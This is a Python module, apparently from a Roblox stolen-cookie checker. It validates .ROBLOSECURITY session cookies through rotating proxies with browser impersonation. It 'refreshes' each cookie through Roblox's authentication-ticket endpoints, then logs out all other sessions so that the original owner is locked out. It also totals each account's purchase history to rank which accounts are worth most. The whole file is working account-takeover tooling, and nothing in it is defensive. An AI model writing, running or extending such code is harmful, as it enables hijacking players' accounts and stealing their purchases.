from __future__ import annotations import random import asyncio import aiohttp import requests as plain_requests from config import CONCURRENT_CHECKS, FRESHER_POOL, MAX_RETRIES, REQUEST_TIMEOUT from models.responses import CookieValidationResult try: from curl_cffi import requests as cffi_requests HAS_CFFI = True except ImportError: # pragma: no cover - optional dependency cffi_requests = None HAS_CFFI = False SEMAPHORE = asyncio.Semaphore(CONCURRENT_CHECKS) def _new_fresher_session(): if HAS_CFFI: return cffi_requests.Session(impersonate="chrome120") session = plain_requests.Session() session.headers["User-Agent"] = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ) return session def _extract_new_cookie(response): try: cookie = response.cookies.get(".ROBLOSECURITY") if cookie: return cookie except Exception: pass sc = response.headers.get("set-cookie", "") or response.headers.get( "Set-Cookie", "" ) if ".ROBLOSECURITY=" in sc: try: return sc.split(".ROBLOSECURITY=")[1].split(";")[0] except Exception: pass return None def _sync_fresh_cookie(cookie, proxy=None, timeout=15): if not cookie or not cookie.startswith("_|WARNING"): return False, "invalid cookie format" proxies = {"http": proxy, "https": proxy} if proxy else None session = _new_fresher_session() try: r1 = session.post( "https://auth.roblox.com/v2/logout", cookies={".ROBLOSECURITY": cookie}, proxies=proxies, timeout=timeout, verify=False, ) csrf = r1.headers.get("x-csrf-token") or r1.headers.get("X-CSRF-Token") if not csrf: return False, "step 1 CSRF fail" r2 = session.post( "https://auth.roblox.com/v1/authentication-ticket", headers={ "rbxauthenticationnegotiation": "1", "referer": "https://www.roblox.com/camel", "Content-Type": "application/json", "x-csrf-token": csrf, }, cookies={".ROBLOSECURITY": cookie}, proxies=proxies, timeout=timeout, verify=False, ) ticket = r2.headers.get("rbx-authentication-ticket") if not ticket: return False, "step 2 ticket fail" clean_session = _new_fresher_session() r3 = clean_session.post( "https://auth.roblox.com/v1/authentication-ticket/redeem", headers={"rbxauthenticationnegotiation": "1"}, json={"authenticationTicket": ticket}, proxies=proxies, timeout=timeout, verify=False, ) new_cookie = _extract_new_cookie(r3) if not new_cookie: return False, "step 3 redeem fail" if new_cookie == cookie: return False, "rate-limited" except Exception as exc: return False, f"error: {type(exc).__name__}" try: session2 = _new_fresher_session() r_csrf = session2.post( "https://auth.roblox.com/v2/logout", cookies={".ROBLOSECURITY": new_cookie}, proxies=proxies, timeout=timeout, verify=False, ) csrf2 = r_csrf.headers.get("x-csrf-token") or r_csrf.headers.get("X-CSRF-Token") if csrf2: r_log = session2.post( "https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate", cookies={".ROBLOSECURITY": new_cookie}, headers={"x-csrf-token": csrf2, "Content-Type": "application/json"}, json={}, proxies=proxies, timeout=timeout, verify=False, ) if r_log.status_code in (200, 201, 204): final_cookie = _extract_new_cookie(r_log) or new_cookie return True, final_cookie except Exception: pass return True, new_cookie async def fresh_cookie_async(cookie, proxy=None): loop = asyncio.get_event_loop() return await loop.run_in_executor( FRESHER_POOL, _sync_fresh_cookie, cookie, proxy, 15 ) async def check_cookie_basic(session, cookie, proxy=None) -> CookieValidationResult: try: proxy_url = f"http://{proxy}" if proxy else None async with session.get( "https://users.roblox.com/v1/users/authenticated", cookies={".ROBLOSECURITY": cookie}, timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), proxy=proxy_url, ) as response: if response.status != 200: return CookieValidationResult(status="invalid") data = await response.json() return CookieValidationResult( status="valid", cookie=cookie, user_id=int(data["id"]), username=data.get("name", "unknown"), ) except Exception as exc: return CookieValidationResult(status="error", message=str(exc)) async def check_cookie_with_retry(session, cookie, proxies) -> CookieValidationResult: retries = 0 used = set() while retries < MAX_RETRIES: proxy = None if proxies: available = [item for item in proxies if item not in used] if available: proxy = random.choice(available) used.add(proxy) else: used.clear() continue try: async with SEMAPHORE: result = await check_cookie_basic(session, cookie, proxy) if result.status == "valid": return result except Exception: pass retries += 1 await asyncio.sleep(1) return CookieValidationResult(status="invalid") async def get_all_time_donate(session, cookie, user_id, proxy=None) -> int: total = 0 cursor = "" proxy_url = f"http://{proxy}" if proxy else None while True: try: url = f"https://economy.roblox.com/v2/users/{user_id}/transactions" params = { "limit": 100, "transactionType": "Purchase", "itemPricingType": "All", "cursor": cursor, } async with session.get( url, params=params, cookies={".ROBLOSECURITY": cookie}, proxy=proxy_url, timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), ) as response: if response.status == 429: await asyncio.sleep(3) continue if response.status != 200: break data = await response.json() for transaction in data.get("data", []): total += transaction.get("currency", {}).get("amount", 0) cursor = data.get("nextPageCursor") if not cursor: break except Exception: break if total != 0: total = int(str(total).strip("-")) return total async def get_year_donate(cookie, user_id, proxy=None) -> int: url = ( f"https://economy.roblox.com/v2/users/{user_id}/transaction-totals" "?timeFrame=Year&transactionType=summary" ) try: async with aiohttp.ClientSession() as session: async with session.get( url, cookies={".ROBLOSECURITY": cookie.strip()}, allow_redirects=False, proxy=f"http://{proxy}" if proxy else None, timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), ) as response: if ( response.status == 200 and response.content_type == "application/json" ): data = await response.json() donate = data.get("purchasesTotal", 0) if donate != 0: donate = int(str(donate).strip("-")) return donate except Exception: pass return 0